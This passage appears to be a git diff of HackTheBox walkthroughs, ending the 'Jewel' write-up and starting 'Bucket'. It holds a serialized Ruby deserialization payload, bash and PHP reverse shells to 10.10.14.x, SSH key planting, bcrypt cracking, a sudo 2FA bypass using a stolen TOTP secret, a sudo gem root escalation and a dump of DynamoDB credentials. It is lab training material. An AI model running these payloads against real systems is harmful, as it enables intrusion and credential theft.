0>&1\"`\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:... + irb(main):007:0> payload + => "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\":`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT" + + +So now we generated the serialized payload, but we need to URL encode it with the following command: + + + irb(main):009:0> puts URI.encode_www_form(payload: payload) + payload=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3A%60bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.11%2F9001+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T + + + +And now we have our complete serialized, url encoded payload, that we will use to inject the POST request username parameter we interecept with burpsuite. + +![](prg/62_011.png) + +So right now we have this POST request: + + + POST /users/18 HTTP/1.1 + Host: 10.10.10.211:8080 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.211:8080/users/18/edit + Content-Type: application/x-www-form-urlencoded + Content-Length: 187 + Origin: http://10.10.10.211:8080 + Connection: close + Cookie: _session_id=a5fa81a5202880405479de4a764d913d + Upgrade-Insecure-Requests: 1 + + utf8=%E2%9C%93&_method=patch&authenticity;_token=eSnVB8zuZnsjZk74kI25qdzauohSxBocGvXuNgM%2BQTQ5WQQg2mgZXL4N0oVkYX54bsCXWL%2BpbxHykU9E4f2S8A%3D%3D&user;%5B**username%5D=nihilist** &commit;=Update+User + + + +And we want to inject the **username=** parameter with our payload: + + + POST /users/18 HTTP/1.1 + Host: 10.10.10.211:8080 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.211:8080/users/18/edit + Content-Type: application/x-www-form-urlencoded + Content-Length: 187 + Origin: http://10.10.10.211:8080 + Connection: close + Cookie: _session_id=a5fa81a5202880405479de4a764d913d + Upgrade-Insecure-Requests: 1 + + utf8=%E2%9C%93&_method=patch&authenticity;_token=eSnVB8zuZnsjZk74kI25qdzauohSxBocGvXuNgM%2BQTQ5WQQg2mgZXL4N0oVkYX54bsCXWL%2BpbxHykU9E4f2S8A%3D%3D&user;%5B**username%5D=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3A%60bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.11%2F9001+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T** &commit;=Update+User + + +Now we can just forward this from the proxy tab without any problem and we see the following: + +![](prg/62_012.png) + +Now to trigger the exploit we need to press ENTER on the url above and only then do we get a reverse shell connection back to us: + + + [ 10.10.14.11/23 ] [ /dev/pts/18 ] [HTB/jewel/exploit] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.211] 51560 + bash: cannot set terminal process group (802): Inappropriate ioctl for device + bash: no job control in this shell + bill@jewel:~/blog$ id + id + uid=1000(bill) gid=1000(bill) groups=1000(bill) + + bill@jewel:~/blog$ cd .. + + bill@jewel:~$ pwd + pwd + /home/bill + + bill@jewel:~$ cat user.txt + cat user.txt + 5eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And here you see that we managed to get a reverse shell as the bill user, from which we managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Before we enumerate the box let's spawn a fully interactive TTY: + + + bill@jewel:~$ which python python3 wget curl + which python python3 wget curl + /usr/bin/python + /usr/bin/python3 + /usr/bin/wget + bill@jewel:~$ python3 -c 'import pty; pty.spawn("/bin/bash")' + python3 -c 'import pty; pty.spawn("/bin/bash")' + bill@jewel:~$ ^Z + [1] + 3559593 suspended nc -lvnp 9001 + + [ 10.10.14.11/23 ] [ /dev/pts/18 ] [HTB/jewel/exploit] + → stty raw -echo ; fg + [1] + 3559593 continued nc -lvnp 9001 + export TERM=screen-256color + bill@jewel:~$ export SHELL=bash + bill@jewel:~$ stty rows 50 columns 200 + bill@jewel:~$ reset + + + +Now we could stay in the reverse shell or we could add our public SSH key to the box to SSH in as the user bill more easily: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/jewel] + → cat ~/.ssh/mainpc.pub + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere + + [terminal 2] + bill@jewel:~$ mkdir ~/.ssh/ + bill@jewel:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' >> ~/.ssh/authorized_keys + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/jewel] + → ssh bill@10.10.10.211 -i ~/.ssh/mainpc + Linux jewel.htb 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Thu Sep 17 22:33:04 2020 + bill@jewel:~$ id + uid=1000(bill) gid=1000(bill) groups=1000(bill) + + + +Now let's run linpeas.sh onto the box to enumerate it: + + + [terminal 1] + [ 10.66.66.2/32 ] [ /dev/pts/5 ] [~/HTB/jewel] + → cp /home/nothing/HTB/passage/linpeas.sh . + + [ 10.66.66.2/32 ] [ /dev/pts/5 ] [~/HTB/jewel] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + bill@jewel:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-29 16:52:41-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[=============================================================================================================>] 333.85K 174KB/s in 1.9s od + + 2021-06-29 16:52:44 (174 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + bill@jewel:~$ chmod +x /tmp/peas.sh + bill@jewel:~$ /tmp/peas.sh + + + +` ![](prg/62_013.png) + +Let linpeas.sh run and then when it's done we first see that we got a few hashes to crack: + +![](prg/62_014.png) + + + /var/backups/dump_2020-08-27.sql:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO + /var/backups/dump_2020-08-27.sql:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW + /home/bill/blog/bd.sql:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW + /home/bill/blog/bd.sql:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy + + bill@jewel:~$ grep 2a /var/backups/dump* + 2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO + 1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW + + +After running grep we see that we will probably need to privesc to the jennifer user. + + + [terminal 1] + bill@jewel:~$ grep 2a /var/backups/dump* | awk '{print $2":"$8}' + jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO + bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → cat hashes.txt + jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO + bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW + + + +With this file we can crack the hashes locally with john, however before we do so let's grab all the hashes we can on the box: + + + bill@jewel:~$ grep 2a /home/bill/blog/bd.sql | awk '{print $2":"$8}' + test333333:\N + bill:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW + jennifer:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy + + + +So here we see that we have another set of hashes for bill and jennifer: + + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → cat hashes.txt + jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO + jennifer:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy + + bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW + bill:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW + + +And from here we crack them with hashcat with the bcrypt format: + + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/jewel] + → hashcat --example-hashes + + [...] + + MODE: 3200 + TYPE: bcrypt $2*$, Blowfish (Unix) + HASH: $2a$05$MBCzKhG1KhezLh.0LRa0Kuw12nLJtpHy6DIaU.JAnqJUDYspHC.Ou + PASS: hashcat + + [...] + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --username + hashcat (v6.1.1) starting... + + * Device #1: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + * Device #2: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + CUDA API (CUDA 11.3) + ==================== + * Device #1: NVIDIA GeForce GTX 1050, 1310/1999 MB, 5MCU + + OpenCL API (OpenCL 3.0 CUDA 11.3.55) - Platform #1 [NVIDIA Corporation] + ======================================================================= + * Device #2: NVIDIA GeForce GTX 1050, skipped + + OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project] + ============================================================================================================================= + * Device #3: pthread-Intel(R) Core(TM) i5-6600 CPU @ 3.30GHz, skipped + + Minimum password length supported by kernel: 0 + Maximum password length supported by kernel: 72 + + Hashes: 4 digests; 4 unique digests, 4 unique salts + Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates + Rules: 1 + + Applicable optimizers applied: + * Zero-Byte + + Watchdog: Temperature abort trigger set to 90c + + Host memory required for this attack: 80 MB + + Dictionary cache hit: + * Filename..: /usr/share/wordlists/rockyou.txt + * Passwords.: 14344385 + * Bytes.....: 139921507 + * Keyspace..: 14344385 + + $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW:spongebob + + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → hashcat -m 3200 hashes.txt --username --show + bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW:spongebob + + + +And here we seem to have cracked one of the hashes, with the password **spongebob** for the user **bill** , now the interesting thing here is that we can check if this is bill's password by running **sudo -l** : + + + bill@jewel:~$ sudo -l + [sudo] password for bill: + Verification code: + Sorry about this, I know it's a bit silly. + [sudo] password for bill: + Verification code: + You must cut down the mightiest tree in the forest... with... a herring! + + + +So here we get something interesting, we get a **Verification code:** message waiting for our input. And after a bit of googling we see that this is basically 2FA for sudo. And if we take a look at bill's directory we see that there is a **.google_authenticator** file: + + + bill@jewel:~$ ls -lash .google_authenticator + 4.0K -r-------- 1 bill bill 56 Aug 28 2020 .google_authenticator + bill@jewel:~$ cat .google_authenticator + 2UQI3R52WFCLE6JTLDCSJYMJH4 + " WINDOW_SIZE 17 + " TOTP_AUTH + + +So in order to exploit this we're going to install **oathtool** locally: + + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → apt search oathtool + Sorting... Done + Full Text Search... Done + oathtool/kali-rolling 2.6.6-3 amd64 + OATH Toolkit oathtool command line tool + + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → apt install oathtool -y + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → oathtool -h + Usage: oathtool [OPTION]... [KEY [OTP]]... + Generate and validate OATH one-time passwords. KEY and OTP is the string '-' + to read from standard input, '@FILE' to read from indicated filename, or a hex + encoded value (not recommended on multi-user systems). + + -h, --help Print help and exit + -V, --version Print version and exit + --hotp use event-based HOTP mode (default=on) + --totp[=MODE] use time-variant TOTP mode (values "SHA1", + "SHA256", or "SHA512") (default=`SHA1') + -b, --base32 use base32 encoding of KEY instead of hex + (default=off) + -c, --counter=COUNTER HOTP counter value + -s, --time-step-size=DURATION TOTP time-step duration (default=`30s') + -S, --start-time=TIME when to start counting time steps for TOTP + (default=`1970-01-01 00:00:00 UTC') + -N, --now=TIME use this time as current time for TOTP + (default=`now') + -d, --digits=DIGITS number of digits in one-time password + -w, --window=WIDTH number of additional OTPs to generate or + validate against + -v, --verbose explain what is being done (default=off) + + Report bugs to: oath-toolkit-help@nongnu.org + + +So we copy the **.google_authenticator** file from the box to our local machine by doing a simple copy paste: + + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → vim google_auth + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → cat google_auth + 2UQI3R52WFCLE6JTLDCSJYMJH4 + " WINDOW_SIZE 17 + " TOTP_AUTH + + + +And then from here we're going to use oathtool to get the key: + + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → oathtool -b --totp @google_auth + 998990 + + [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel] + → oathtool -b --totp @google_auth + 998990 + + + +Now the hard part about this box was the fact that we need the exact same date and time from the box on our local machine. And that includes the timezone aswell. + + + [terminal 1] + bill@jewel:~$ date + Tue 29 Jun 17:32:33 BST 2021 + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel] + → date + Tue 29 Jun 2021 06:24:25 PM CEST + + + +So in order to keep track of the box's time we do the following: + + + [ 10.10.14.11/23 ] [ /dev/pts/18 ] [~/HTB/jewel] + → ssh bill@10.10.10.211 -i ~/.ssh/mainpc + Linux jewel.htb 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Jun 29 17:11:10 2021 from 10.10.14.11 + bill@jewel:~$ watch -n 1 date + + + +This will simply display the date+time every second, we let that run in another pane, and accordingly we change system time aswell: + + + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel] + → sudo date -s "6/29/2021 17:37:10" + [sudo] password for nothing: + Tue 29 Jun 2021 05:37:10 PM CEST + + + +Now be careful this is not enough! you need to set the timezone aswell: + + + [terminal 1] + bill@jewel:~$ timedatectl + Local time: Tue 2021-06-29 17:39:46 BST + Universal time: Tue 2021-06-29 16:39:46 UTC + RTC time: Tue 2021-06-29 16:39:46 + Time zone: Europe/London (BST, +0100) + System clock synchronized: no + NTP service: active + RTC in local TZ: no + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel] + → sudo timedatectl set-timezone Europe/London + + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel] + → date + Tue 29 Jun 2021 05:42:02 PM BST + + [terminal 1] + bill@jewel:~$ date + Tue 29 Jun 17:42:02 BST 2021 + + + +Now that both systems have their timezones, dates, and time synced, we run oathtool: + + + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel] + → oathtool -b --totp @google_auth + 268760 + + + +And we use it to run **sudo -l** : + + + [terminal 1] + bill@jewel:~$ sudo -l + [sudo] password for bill: **spongebob** + Verification code: + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel] + → oathtool -b --totp @google_auth + 707638 + + + [terminal 1] + Verification code: 707638 + Matching Defaults entries for bill on jewel: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, + insults + + User bill may run the following commands on jewel: + (ALL : ALL) /usr/bin/gem + + + +And once that's done we see that we have been able to successfully run sudo -l, and we see that we can run **/usr/bin/gem** as root without any password, so let's use this [gtfobin](https://gtfobins.github.io/gtfobins/gem/): + + + bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc + [sudo] password for bill: + Verification code: + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + d0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we managed to get root a root shell with the root flag! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/62_graph.png) + diff --git a/Medium/63.md b/Medium/63.md new file mode 100644 index 0000000..ee6d9ed --- /dev/null +++ b/Medium/63.md @@ -0,0 +1,659 @@ +# Bucket Writeup + +![](img/63.png) + +## Introduction : + +Bucket is a Medium Linux box released back in October 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → nmap -vvv -p- 10.10.10.212 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.212 + Discovered open port 22/tcp on 10.10.10.212 + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → nmap -sCV -p22,80 10.10.10.212 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 17:52 CEST + Nmap scan report for 10.10.10.212 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) + | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) + |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) + 80/tcp open http Apache httpd 2.4.41 + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Did not follow redirect to http://bucket.htb/ + Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 23.75 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it after we add the **bucket.htb** domain name to our hosts file: + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → sudo -i + ┌──(root💀mahakali)-[~] + └─# echo '10.10.10.212 bucket.htb' >> /etc/hosts + + ┌──(root💀mahakali)-[~] + └─# ping -c1 bucket.htb + PING bucket.htb (10.10.10.212) 56(84) bytes of data. + 64 bytes from bucket.htb (10.10.10.212): icmp_seq=1 ttl=63 time=465 ms + + --- bucket.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 465.099/465.099/465.099/0.000 ms + + ┌──(root💀mahakali)-[~] + └─# exit + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → + + + +` ![](prg/63_001.png) + +And when we go there, we see another domain from the network tab so we also add it to our hosts file and visit it: + +![](prg/63_002.png) + +Here we see a bunch of 'amz' headers which refers to amazon. + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → curl --head s3.bucket.htb + HTTP/1.1 404 + Date: Thu, 01 Jul 2021 16:46:23 GMT + Server: hypercorn-h11 + content-type: text/html; charset=utf-8 + content-length: 21 + access-control-allow-origin: * + access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH + access-control-allow-headers: authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging + access-control-expose-headers: x-amz-version-id + + + +This is what makes this box very unique since HTB isn't cloud based on amazon, yet we have what seems like an AWS box right here. So to continue we're going to take a look at AWS CLI [documentation](https://docs.aws.amazon.com/cli/latest/reference/) + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → sudo apt install awscli -y + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → which aws + /usr/bin/aws + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb s3 ls + Unable to locate credentials. You can configure credentials by running "aws configure". + + +So first we need to configure the 'credentials' we can just try to fill in some random credentials to test: + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → aws configure + AWS Access Key ID [None]: stuff + AWS Secret Access Key [None]: stuff + Default region name [None]: stuff + Default output format [None]: stuff + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb s3 ls + 2021-07-01 20:12:03 adserver + + + [ 10.10.14.8/23 ] [ /dev/pts/15 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb s3 ls adserver + PRE images/ + 2021-07-01 20:34:08 5344 index.html + + + +So here we see that we are able to read the root of the website directory where index.html is. Apparently the directory is called 'adserver' so we're going to try to upload a reverse php shell there. Now according to the documentation, we can use the copy command, so let's try that: + + + [terminal1] + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → vim rev.php + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → cat rev.php + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.8/9001 0>&1'"); + ?****> + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb s3 cp rev.php s3://adserver/ + upload: ./rev.php to s3://adserver/rev.php + + [terminal2] + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → curl http://bucket.htb/rev.php + + [terminal3] + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.212] 55294 + bash: cannot set terminal process group (1023): Inappropriate ioctl for device + bash: no job control in this shell + www-data@bucket:/var/www/html$ + +And we get a reverse shell as www-data! Now before we continue we're going to spawn a fully-interactive TTY: + + + www-data@bucket:/var/www/html$ which python python3 wget curl + which python python3 wget curl + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + www-data@bucket:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@bucket:/var/www/html$ ^Z + [1] + 847849 suspended nc -lvnp 9001 + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → stty raw -echo ; fg + [1] + 847849 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@bucket:/var/www/html$ export SHELL=bash + www-data@bucket:/var/www/html$ stty rows 50 columns 200 + www-data@bucket:/var/www/html$ reset + + + +Now that's done we're going to enumerate the box using linpeas.sh: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > linpeas.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 451k 100 451k 0 0 99k 0 0:00:04 0:00:04 --:--:-- 99k + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → ls -l + total 456 + -rw-r--r-- 1 nothing nothing 462687 Jul 1 20:22 linpeas.sh + -rw-r--r-- 1 nothing nothing 76 Jul 1 20:18 rev.php + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + www-data@bucket:/var/www/html$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh + --2021-07-01 18:31:58-- http://10.10.14.8:9090/linpeas.sh + Connecting to 10.10.14.8:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 462687 (452K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[=============================================================================================================>] 451.84K 194KB/s in 2.3s + + 2021-07-01 18:32:01 (194 KB/s) - ‘/tmp/peas.sh’ saved [462687/462687] + + www-data@bucket:/var/www/html$ chmod +x /tmp/peas.sh + www-data@bucket:/var/www/html$ /tmp/peas.sh + + + +` ![](prg/63_003.png) + +Let linpeas run a bit and then scrolling through the output we see the following: + +![](prg/63_004.png) + +First of all there are some listening ports that we didn't see with our nmap scan, that's because they are listening on localhost, so we may need to do SSH tunnels to access them. However the main meal here is the hint to take a look into DynamoDB: + +![](prg/63_005.png) + +And if we look back at the documentation for aws-cli we see that we may be able to enumerate it using the aws binary we used before to upload our reverse php shell: + +![](prg/63_006.png) + +Now in order to use the awscli dynamodb utility we need to first get the format to be either text or json or yaml: + + + [ 10.10.14.8/23 ] [ /dev/pts/15 ] [~/HTB/Bucket] + → aws configure + AWS Access Key ID [****************tuff]: stuff + AWS Secret Access Key [****************tuff]: stuff + Default region name [stuff]: stuff + Default output format [stuff]: json + + [ 10.10.14.8/23 ] [ /dev/pts/15 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb dynamodb list-tables + { + "TableNames": [ + "users" + ] + } + + + +Now we know that there is a users table, so let's scan/enumerate it: + + + [ 10.10.14.8/23 ] [ /dev/pts/15 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users + { + "Items": [ + { + "password": { + "S": "Management@#1@#" + }, + "username": { + "S": "Mgmt" + } + }, + { + "password": { + "S": "Welcome123!" + }, + "username": { + "S": "Cloudadm" + } + }, + { + "password": { + "S": "n2vM-<****_K_Q:.Aa2" + }, + "username": { + "S": "Sysadm" + } + } + ], + "Count": 3, + "ScannedCount": 3, + "ConsumedCapacity": null + } + + [ 10.10.14.8/23 ] [ /dev/pts/15 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[] | "\(.username[]):\(.password[])"' + Mgmt:Management@#1@# + Cloudadm:Welcome123! + Sysadm:n2vM- <****_K_Q:.Aa2 + +And we have 3 sets of credentials! now another thing to look at is the apache configuration of this box: + + + www-data@bucket:/var/www/html$ cat /etc/apache2/sites-enabled/000-default.conf + VirtualHost 127.0.0.1:8000> + IfModule mpm_itk_module> + AssignUserId root root + /IfModule> + DocumentRoot /var/www/bucket-app + /VirtualHost> + + [...] + + + +Here we are hinted towards the bucket-app directory: + + + www-data@bucket:/var/www/html$ ls -lash /var/www/ + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Feb 10 12:29 . + 4.0K drwxr-xr-x 14 root root 4.0K Feb 10 12:29 .. + 4.0K drwxr-x---+ 4 root root 4.0K Feb 10 12:29 bucket-app + 4.0K drwxr-xr-x 2 root root 4.0K Jul 1 19:54 html + + + +And here we see something interesting with the permissions of this file, it is owned by the root user, we can't read any of it as our current user 